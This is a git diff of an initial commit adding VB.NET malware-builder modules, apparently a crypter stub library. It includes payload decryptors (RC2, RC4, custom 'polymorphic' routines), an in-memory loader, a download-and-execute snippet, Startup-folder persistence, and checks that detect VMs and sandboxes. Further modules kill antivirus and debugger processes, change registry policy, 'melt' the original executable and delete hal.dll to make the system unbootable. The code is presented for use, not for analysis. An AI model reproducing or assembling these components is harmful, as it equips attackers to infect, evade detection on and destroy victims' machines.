initial commit
This commit is contained in:
@@ -0,0 +1,10 @@
|
||||
Dim N As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
|
||||
Catch
|
||||
End Try
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F")))), I})
|
||||
@@ -0,0 +1,17 @@
|
||||
Shared Function AD(ByVal Y As Byte())
|
||||
Using A As New System.Security.Cryptography.RC2CryptoServiceProvider
|
||||
A.IV = New Byte() {Convert.ToInt32(1000, 2), Convert.ToInt32(111, 2), _
|
||||
Convert.ToInt32(110, 2), Convert.ToInt32(101, 2), _
|
||||
Convert.ToInt32(100, 2), Convert.ToInt32(11, 2), _
|
||||
Convert.ToInt32(10, 2), Convert.ToInt32(&H1, 2)}
|
||||
A.Key = New Byte() {Convert.ToInt32(&H0, 2), Convert.ToInt32(&H1, 2), _
|
||||
Convert.ToInt32(10, 2), Convert.ToInt32(11, 2), _
|
||||
Convert.ToInt32(100, 2), Convert.ToInt32(101, 2), _
|
||||
Convert.ToInt32(110, 2), Convert.ToInt32(111, 2), _
|
||||
Convert.ToInt32(1000, 2), Convert.ToInt32(1001, 2), _
|
||||
Convert.ToInt32(&H0, 2), Convert.ToInt32(&H1, 2), _
|
||||
Convert.ToInt32(10, 2), Convert.ToInt32(11, 2), _
|
||||
Convert.ToInt32(100, 2), Convert.ToInt32(101, 2)}
|
||||
Return A.CreateDecryptor.TransformFinalBlock(Y, Convert.ToInt32(&H0, 2), Y.Length)
|
||||
End Using
|
||||
End Function
|
||||
@@ -0,0 +1,3 @@
|
||||
Shared Sub F62()
|
||||
Killer("notepad")
|
||||
End Sub
|
||||
@@ -0,0 +1,11 @@
|
||||
Public Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nindex As Long, ByVal dwnewlong As Long) As Long
|
||||
|Public Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
|
||||
|Public Declare Function DefWindowProc Lib "user32.dll" Alias "DefWindowProcA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
|
||||
|Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
|
||||
|Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
|
||||
|Declare Function CreateToolhelpSnapshot Lib "kernel32.dll" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
|
||||
|Declare Function TerminateProcess Lib "kernel32.dll" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
|
||||
|Private Declare Function EnumPorts Lib "winspool.drv" Alias "EnumPortsA" (ByVal pName As String, ByVal Level As Long, ByVal lpbPorts As Long, ByVal cbBuf As Long, ByVal pcbNeeded As Long, ByVal pcReturned As Long) As Long
|
||||
|Private Declare Function lstrlenW Lib "kernel32.dll" (ByVal lpString As Long) As Long
|
||||
|Private Declare Function HeapAlloc Lib "kernel32.dll" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
|
||||
|Private Declare Function GetProcessHeap Lib "kernel32.dll" () As Long
|
||||
@@ -0,0 +1,12 @@
|
||||
Shared Sub PushStart()
|
||||
Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
|
||||
While True
|
||||
Try
|
||||
If Not IO.File.Exists(xx) Then
|
||||
IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, xx)
|
||||
End If
|
||||
Catch
|
||||
End Try
|
||||
System.Threading.Thread.Sleep(5000)
|
||||
End While
|
||||
End Sub
|
||||
@@ -0,0 +1,3 @@
|
||||
Shared Sub F63()
|
||||
Killer("dxdiag")
|
||||
End Sub
|
||||
@@ -0,0 +1,59 @@
|
||||
Shared Sub AT
|
||||
Dim id As String = "76487-337-8429955-22614"
|
||||
|
||||
Dim regPID As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
|
||||
|
||||
Dim pid As Object = regPID.GetValue("ProductId")
|
||||
|
||||
Dim D As Object, R As String = Nothing, B As String = "SELECT * FROM Win32_VideoController"
|
||||
|
||||
D = GetObject("winmgmts:").ExecQuery(B)
|
||||
|
||||
Dim AdaptList As Object
|
||||
|
||||
For Each AdaptList In D
|
||||
|
||||
R = AdaptList.Description
|
||||
|
||||
Next
|
||||
|
||||
If System.Windows.Forms.Application.ExecutablePath = System.Windows.Forms.Application.StartupPath & "\Sample.exe" Then
|
||||
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
|
||||
End If
|
||||
|
||||
If pid = id Then
|
||||
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
|
||||
End If
|
||||
|
||||
A("wireshark")
|
||||
|
||||
Select Case R
|
||||
|
||||
Case "VM Additions S3 Trio32/64"
|
||||
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
|
||||
Case "VirtualBox Graphics Adapter"
|
||||
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
|
||||
Case "VMware SVGA II"
|
||||
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
|
||||
End Select
|
||||
|
||||
A("SbieSvc")
|
||||
|
||||
A("avp")
|
||||
|
||||
A("avgnt")
|
||||
|
||||
A("ashServ")
|
||||
|
||||
A("avgtray")
|
||||
End Sub
|
||||
@@ -0,0 +1,12 @@
|
||||
Dim filled() As String
|
||||
|
||||
Dim rand As New Random()
|
||||
|
||||
'FilledSplitting
|
||||
|
||||
Dim tpth As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & rand.Next(10000, 99999).ToString & filled(1)
|
||||
|
||||
My.Computer.FileSystem.WriteAllBytes(tpth, System.Text.Encoding.Default.GetBytes(filled(0)), False)
|
||||
|
||||
System.Diagnostics.Process.Start(tpth)
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
Dim Expl As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\1" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
|
||||
My.Computer.Network.DownloadFile($DownloadLink$, Expl)
|
||||
Do Until IO.File.Exists(Expl) = True
|
||||
System.Threading.Thread.Sleep(1000)
|
||||
Loop
|
||||
System.Diagnostics.Process.Start(Expl)
|
||||
@@ -0,0 +1,5 @@
|
||||
Try
|
||||
Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer"
|
||||
My.Computer.Registry.SetValue(regloc, "NoFolderOptions", "1", Microsoft.Win32.RegistryValueKind.DWord)
|
||||
Catch
|
||||
End Try
|
||||
@@ -0,0 +1,6 @@
|
||||
Public Shared Sub A(ByVal ProcessName As String)
|
||||
Dim proc As System.Diagnostics.Process() = System.Diagnostics.Process.GetProcesses
|
||||
If System.Diagnostics.Process.GetProcessesByName(ProcessName).Length >= 1 Then
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
End If
|
||||
End Sub
|
||||
@@ -0,0 +1,4 @@
|
||||
Try
|
||||
IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\hal.dll")
|
||||
Catch
|
||||
End Try
|
||||
@@ -0,0 +1,151 @@
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
Option Infer On
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Security
|
||||
Public Class IconChanger
|
||||
<SuppressUnmanagedCodeSecurity()> _
|
||||
Private Class NativeMethods
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function BeginUpdateResource( _
|
||||
ByVal fileName As String, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
|
||||
End Function
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function UpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
ByVal type As IntPtr, _
|
||||
ByVal name As IntPtr, _
|
||||
ByVal language As Short, _
|
||||
<MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
|
||||
ByVal data() As Byte, _
|
||||
ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function EndUpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
End Class
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIR
|
||||
Public Reserved As UShort
|
||||
Public Type As UShort
|
||||
Public Count As UShort
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ImageOffset As Integer
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure BITMAPINFOHEADER
|
||||
Public Size As UInteger
|
||||
Public Width As Integer
|
||||
Public Height As Integer
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public Compression As UInteger
|
||||
Public SizeImage As UInteger
|
||||
Public XPelsPerMeter As Integer
|
||||
Public YPelsPerMeter As Integer
|
||||
Public ClrUsed As UInteger
|
||||
Public ClrImportant As UInteger
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential, Pack:=2)> _
|
||||
Private Structure GRPICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ID As UShort
|
||||
End Structure
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
|
||||
InjectIcon(exeFileName, iconFileName, 1, 1)
|
||||
End Sub
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
|
||||
Const RT_ICON As UInteger = 3UI
|
||||
Const RT_GROUP_ICON As UInteger = 14UI
|
||||
Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
|
||||
Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
|
||||
Dim data = iconFile.CreateIconGroupData(iconBaseID)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
|
||||
For i = 0 To iconFile.ImageCount - 1
|
||||
Dim image = iconFile.ImageData(i)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
|
||||
Next
|
||||
NativeMethods.EndUpdateResource(hUpdate, False)
|
||||
End Sub
|
||||
Private Class IconFile
|
||||
Private iconDir As New ICONDIR
|
||||
Private iconEntry() As ICONDIRENTRY
|
||||
Private iconImage()() As Byte
|
||||
Public ReadOnly Property ImageCount() As Integer
|
||||
Get
|
||||
Return iconDir.Count
|
||||
End Get
|
||||
End Property
|
||||
Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
|
||||
Get
|
||||
Return iconImage(index)
|
||||
End Get
|
||||
End Property
|
||||
Private Sub New()
|
||||
End Sub
|
||||
Public Shared Function FromFile(ByVal filename As String) As IconFile
|
||||
Dim instance As New IconFile
|
||||
Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
|
||||
Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
|
||||
instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
|
||||
instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
|
||||
instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
|
||||
Dim offset = Marshal.SizeOf(instance.iconDir)
|
||||
Dim iconDirEntryType = GetType(ICONDIRENTRY)
|
||||
Dim size = Marshal.SizeOf(iconDirEntryType)
|
||||
For i = 0 To instance.iconDir.Count - 1
|
||||
Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
|
||||
instance.iconEntry(i) = entry
|
||||
instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
|
||||
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
|
||||
offset += size
|
||||
Next
|
||||
pinnedBytes.Free()
|
||||
Return instance
|
||||
End Function
|
||||
Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
|
||||
Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
|
||||
Dim data(sizeOfIconGroupData - 1) As Byte
|
||||
Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
|
||||
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
|
||||
Dim offset = Marshal.SizeOf(iconDir)
|
||||
For i = 0 To ImageCount - 1
|
||||
Dim grpEntry As New GRPICONDIRENTRY
|
||||
Dim bitmapheader As New BITMAPINFOHEADER
|
||||
Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
|
||||
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
|
||||
pinnedBitmapInfoHeader.Free()
|
||||
grpEntry.Width = iconEntry(i).Width
|
||||
grpEntry.Height = iconEntry(i).Height
|
||||
grpEntry.ColorCount = iconEntry(i).ColorCount
|
||||
grpEntry.Reserved = iconEntry(i).Reserved
|
||||
grpEntry.Planes = bitmapheader.Planes
|
||||
grpEntry.BitCount = bitmapheader.BitCount
|
||||
grpEntry.BytesInRes = iconEntry(i).BytesInRes
|
||||
grpEntry.ID = CType(iconBaseID + i, UShort)
|
||||
Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
|
||||
offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
|
||||
Next
|
||||
pinnedData.Free()
|
||||
Return data
|
||||
End Function
|
||||
End Class
|
||||
End Class
|
||||
@@ -0,0 +1,13 @@
|
||||
Public Shared Function RInvoke(ByVal bytes As Byte()) As Boolean
|
||||
Dim vr1 As New Threading.Thread(AddressOf vr0)
|
||||
vr1.SetApartmentState(Threading.ApartmentState.STA)
|
||||
vr1.Start(bytes)
|
||||
End Function
|
||||
Private Shared Sub vr0(ByVal vr0 As Object)
|
||||
Dim vr19 As Reflection.MethodInfo = Reflection.Assembly.Load(DirectCast(vr0, Byte())).EntryPoint
|
||||
If vr19.GetParameters.Length = 1 Then
|
||||
vr19.Invoke(Nothing, New Object() {New String() {}})
|
||||
Else
|
||||
vr19.Invoke(Nothing, Nothing)
|
||||
End If
|
||||
End Sub
|
||||
@@ -0,0 +1,15 @@
|
||||
Public Shared Function Killer(ByVal proc As String) As String
|
||||
Try
|
||||
While True
|
||||
Dim p As System.Diagnostics.Process
|
||||
For Each p In System.Diagnostics.Process.GetProcesses
|
||||
If proc.Contains(p.ProcessName) Then
|
||||
p.Kill()
|
||||
End If
|
||||
Next
|
||||
System.Threading.Thread.Sleep(1)
|
||||
End While
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
Return Nothing
|
||||
End Function
|
||||
@@ -0,0 +1,97 @@
|
||||
Shared Sub KKK
|
||||
|
||||
Dim KF13 As New System.Threading.Thread(AddressOf F13)
|
||||
|
||||
KF13.Start()
|
||||
|
||||
Dim KF14 As New System.Threading.Thread(AddressOf F14)
|
||||
|
||||
KF14.Start()
|
||||
|
||||
Dim KF15 As New System.Threading.Thread(AddressOf F15)
|
||||
|
||||
KF15.Start()
|
||||
|
||||
Dim KF16 As New System.Threading.Thread(AddressOf F16)
|
||||
|
||||
KF16.Start()
|
||||
|
||||
Dim KF17 As New System.Threading.Thread(AddressOf F17)
|
||||
|
||||
KF17.Start()
|
||||
|
||||
Dim KF19 As New System.Threading.Thread(AddressOf F19)
|
||||
|
||||
KF19.Start()
|
||||
|
||||
Dim KF21 As New System.Threading.Thread(AddressOf F21)
|
||||
|
||||
KF21.Start()
|
||||
|
||||
Dim KF22 As New System.Threading.Thread(AddressOf F22)
|
||||
|
||||
KF22.Start()
|
||||
|
||||
Dim KF23 As New System.Threading.Thread(AddressOf F23)
|
||||
|
||||
KF23.Start()
|
||||
|
||||
Dim KF24 As New System.Threading.Thread(AddressOf F24)
|
||||
|
||||
KF24.Start()
|
||||
|
||||
Dim KF25 As New System.Threading.Thread(AddressOf F25)
|
||||
|
||||
KF25.Start()
|
||||
|
||||
Dim KF26 As New System.Threading.Thread(AddressOf F26)
|
||||
|
||||
KF26.Start()
|
||||
|
||||
Dim KF27 As New System.Threading.Thread(AddressOf F27)
|
||||
|
||||
KF27.Start()
|
||||
|
||||
End Sub
|
||||
Shared Sub F13()
|
||||
Killer("keyscrambler")
|
||||
End Sub
|
||||
Shared Sub F14()
|
||||
Killer("bdagent")
|
||||
End Sub
|
||||
Shared Sub F15()
|
||||
Killer("mbam")
|
||||
End Sub
|
||||
Shared Sub F16()
|
||||
Killer("panda")
|
||||
End Sub
|
||||
Shared Sub F17()
|
||||
Killer("zlclient")
|
||||
End Sub
|
||||
Shared Sub F19()
|
||||
Killer("ollydbg")
|
||||
End Sub
|
||||
Shared Sub F21()
|
||||
Killer("egui")
|
||||
End Sub
|
||||
Shared Sub F22()
|
||||
Killer("hijackthis")
|
||||
End Sub
|
||||
Shared Sub F23()
|
||||
Killer("npfmsg")
|
||||
End Sub
|
||||
Shared Sub F24()
|
||||
Killer("SBAMsvc")
|
||||
End Sub
|
||||
Shared Sub F25()
|
||||
Killer("wine")
|
||||
End Sub
|
||||
Shared Sub F26()
|
||||
Killer("outpost")
|
||||
End Sub
|
||||
Shared Sub F27()
|
||||
Killer("joeboxserver")
|
||||
Killer("joeboxcontrol")
|
||||
End Sub
|
||||
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
'Shared Sub Melt(ByVal NewName As String)
|
||||
' Try
|
||||
' Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
|
||||
' If Application.StartupPath = NewFolder = False Then
|
||||
' FileCopy(System.Windows.Forms.Application.ExecutablePath, NewFolder & "\" & NewName)
|
||||
' Shell(NewFolder & "\" & NewName & " " & Application.ExecutablePath)
|
||||
' Dim Hidden As System.IO.FileAttributes = FileAttributes.Hidden
|
||||
' IO.File.SetAttributes(NewFolder & "\" & NewName, Hidden)
|
||||
' End
|
||||
' Else
|
||||
' Kill(Microsoft.VisualBasic.Command)
|
||||
' End If
|
||||
' Catch
|
||||
' End Try
|
||||
'End Sub
|
||||
Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
|
||||
Public Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer
|
||||
Public Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer
|
||||
Public Shared Sub Melt(ByVal Name As String)
|
||||
Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
|
||||
If IO.File.Exists(NewFolder & "\" & Name) Then
|
||||
IO.File.Delete(NewFolder & "\" & Name)
|
||||
End If
|
||||
MoveFile(Microsoft.VisualBasic.Left(Application.ExecutablePath, _
|
||||
GetModuleFileName(0, Application.ExecutablePath, 256)), _
|
||||
NewFolder & "\" & Name, 8)
|
||||
ExitProcess(0)
|
||||
End Sub
|
||||
@@ -0,0 +1,12 @@
|
||||
Public Shared Function PolyDec(ByVal Input As String) As String
|
||||
Dim Output As String = Nothing
|
||||
Dim SA() As String
|
||||
SA = Input.Split("|")
|
||||
For Each C As String In SA
|
||||
Try
|
||||
Output = Output & Chr(C - SA(0))
|
||||
Catch
|
||||
End Try
|
||||
Next
|
||||
Return Output.Remove(0, 1)
|
||||
End Function
|
||||
@@ -0,0 +1,13 @@
|
||||
Dim D As New PolyRC4(R.GetObject("K"))
|
||||
Dim N As String = D.Decrypt(R.GetObject("NM"))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Dim B As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("I")))
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, B, False)
|
||||
Catch
|
||||
End Try
|
||||
Dim C As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("F")))
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {C, I})
|
||||
@@ -0,0 +1,157 @@
|
||||
Public Class PolyRC4
|
||||
|
||||
Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf"
|
||||
|
||||
Sub New(ByVal EncryptionKey As String)
|
||||
|
||||
Key = EncryptionKey
|
||||
|
||||
End Sub
|
||||
|
||||
Public Function Encrypt(ByVal message As String) As String
|
||||
|
||||
message = XX(message, Key)
|
||||
|
||||
Dim random As New Random()
|
||||
|
||||
Dim list1 As New System.Collections.ArrayList(), list2 As New System.Collections.ArrayList()
|
||||
|
||||
Dim out As String = ""
|
||||
|
||||
Dim num1 As Integer = random.[Next](1, 10255)
|
||||
|
||||
For i As Integer = 0 To message.Length - 1
|
||||
|
||||
Dim num2 As Integer = random.[Next](num1) '(&H7A) + &H44
|
||||
|
||||
list1.Add(Convert.ToInt32(message(i)) + num2)
|
||||
|
||||
list2.Add(num2)
|
||||
|
||||
Next
|
||||
|
||||
For j As Integer = 0 To message.Length - 1
|
||||
|
||||
out += ChrW(list1(j)) & ChrW(list2(j))
|
||||
|
||||
Next
|
||||
|
||||
Return out
|
||||
|
||||
End Function
|
||||
|
||||
Public Function Decrypt(ByVal message As String) As String
|
||||
|
||||
Dim numArray As Integer() = New Integer(message.Length - 1) {}
|
||||
|
||||
Dim temp As String = ""
|
||||
|
||||
For i As Integer = 0 To message.Length - 1
|
||||
|
||||
numArray(i) = Convert.ToInt32(message(i))
|
||||
|
||||
Next
|
||||
|
||||
For j As Integer = 0 To message.Length - 1 Step 2
|
||||
|
||||
Dim num3 As Integer = numArray(j)
|
||||
|
||||
Dim num4 As Integer = numArray(j + 1)
|
||||
|
||||
Dim num5 As Integer = num3 - num4
|
||||
|
||||
temp = temp + ChrW(num5)
|
||||
|
||||
Next
|
||||
|
||||
Return XX(temp, Key)
|
||||
|
||||
End Function
|
||||
|
||||
Public Shared Function XX(ByVal message As String, ByVal password As String) As String
|
||||
|
||||
Dim i As Integer = 0
|
||||
|
||||
Dim j As Integer = 0
|
||||
|
||||
Dim cipher As New StringBuilder
|
||||
|
||||
Dim returnCipher As String = String.Empty
|
||||
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
|
||||
Dim intLength As Integer = password.Length
|
||||
|
||||
Dim a As Integer = 0
|
||||
|
||||
While a <= 255
|
||||
|
||||
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
|
||||
sbox(a) = a
|
||||
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
|
||||
End While
|
||||
|
||||
Dim x As Integer = 0
|
||||
|
||||
Dim b As Integer = 0
|
||||
|
||||
While b <= 255
|
||||
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
|
||||
sbox(b) = sbox(x)
|
||||
|
||||
sbox(x) = tempSwap
|
||||
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
|
||||
End While
|
||||
|
||||
a = 1
|
||||
|
||||
While a <= message.Length
|
||||
|
||||
Dim itmp As Integer = 0
|
||||
|
||||
i = (i + 1) Mod 256
|
||||
|
||||
j = (j + sbox(i)) Mod 256
|
||||
|
||||
itmp = sbox(i)
|
||||
|
||||
sbox(i) = sbox(j)
|
||||
|
||||
sbox(j) = itmp
|
||||
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
|
||||
itmp = Asc(ctmp)
|
||||
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
|
||||
cipher.Append(Chr(cipherby))
|
||||
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
|
||||
End While
|
||||
|
||||
returnCipher = cipher.ToString
|
||||
|
||||
cipher.Length = 0
|
||||
|
||||
Return returnCipher
|
||||
|
||||
End Function
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,11 @@
|
||||
Dim N As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
R.GetObject("K")))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
Catch
|
||||
End Try
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
|
||||
@@ -0,0 +1,14 @@
|
||||
Public Class PolyMorphicStairs
|
||||
Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
|
||||
Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
|
||||
PolyDeCrypt = Encoding.Default.GetString(buff)
|
||||
Erase buff
|
||||
End Function
|
||||
Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
|
||||
For i = 0 To (Data.Length - 1) * (ExtraRounds + 1)
|
||||
Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256)
|
||||
Next
|
||||
Array.Resize(Data, Data.Length - 1)
|
||||
Return Data
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,11 @@
|
||||
Dim D As New Polymorphic(R.GetObject("K"))
|
||||
Dim N As String = System.Text.Encoding.Default.GetString(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
|
||||
Catch
|
||||
End Try
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F")))), I})
|
||||
@@ -0,0 +1,78 @@
|
||||
Public Class PolyMorphic
|
||||
'Variable for the Key.
|
||||
Private sKey As String = ""
|
||||
'Property, will Give us acces to the key.
|
||||
Public Property Key() As String
|
||||
Get
|
||||
Return sKey
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
sKey = value
|
||||
End Set
|
||||
End Property
|
||||
'Inisalization. (New Constructor)
|
||||
Public Sub New(ByVal Key As String)
|
||||
Me.Key = Key
|
||||
End Sub
|
||||
Public Sub New()
|
||||
Me.Key = ""
|
||||
End Sub
|
||||
'This Will convert String to bytes,then call the other function.
|
||||
Public Function PolyCrypt(ByVal Data As String) As String
|
||||
Return Encoding.Default.GetString(PolyCrypt(Encoding.Default.GetBytes(Data)))
|
||||
End Function
|
||||
'This one also Will convert String to bytes,then call the other function.
|
||||
